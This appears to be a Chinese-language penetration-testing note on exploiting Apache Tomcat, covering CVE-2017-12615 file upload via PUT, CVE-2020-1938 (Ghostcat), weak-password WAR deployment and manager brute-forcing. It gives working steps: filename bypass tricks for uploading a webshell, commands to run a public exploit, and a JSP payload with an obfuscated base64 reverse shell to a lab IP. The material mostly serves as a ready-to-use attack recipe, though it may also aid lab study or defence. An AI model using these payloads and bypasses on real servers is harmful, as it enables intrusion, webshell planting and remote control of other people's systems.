0x01 CVE-2017-12615

CVE-2017-12615对应的漏洞为任意文件写入,主要影响的是Tomcat的7.0.0-7.0.81这几个版本

流程:

抓包,修改为put请求就行。

PUT /test.txt HTTP/1.1

testpoc

响应包为201表示成功

同理可以上传冰蝎马这些东西

上传这里可能会404,所以需要绕过

1.Windows下不允许文件以空格结尾
以PUT /test.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格

2.Windows NTFS流
Put/test.jsp::$DATA HTTP/1.1

3./在文件名中是非法的,也会被去除(Linux/Windows)
Put/test.jsp/ Http:/1.1

0x02 CVE-2020-1938

漏洞复现

我复现了一下,感觉这个洞比较鸡肋

首先寻找poc

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境

查看文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml

反弹shell
生成一个test.txt
<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
然后想办法把txt传入服务器。
监听端口
使用poc反弹shell
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.180.139 -p 8009 -f test.txt

也可以使用msf,这里就不细说了,反正感觉有点鸡肋

0x03 CVE-2019-0232

2333

0x04 弱口令+war包部署

这个洞是tomcat最好用的

0x05 暴力破解

可以使用msf的模块 :auxiliary/scanner/http/tomcat_mgr_login

也可以使用burp抓包

参考链接:https://xz.aliyun.com/t/10083#toc-10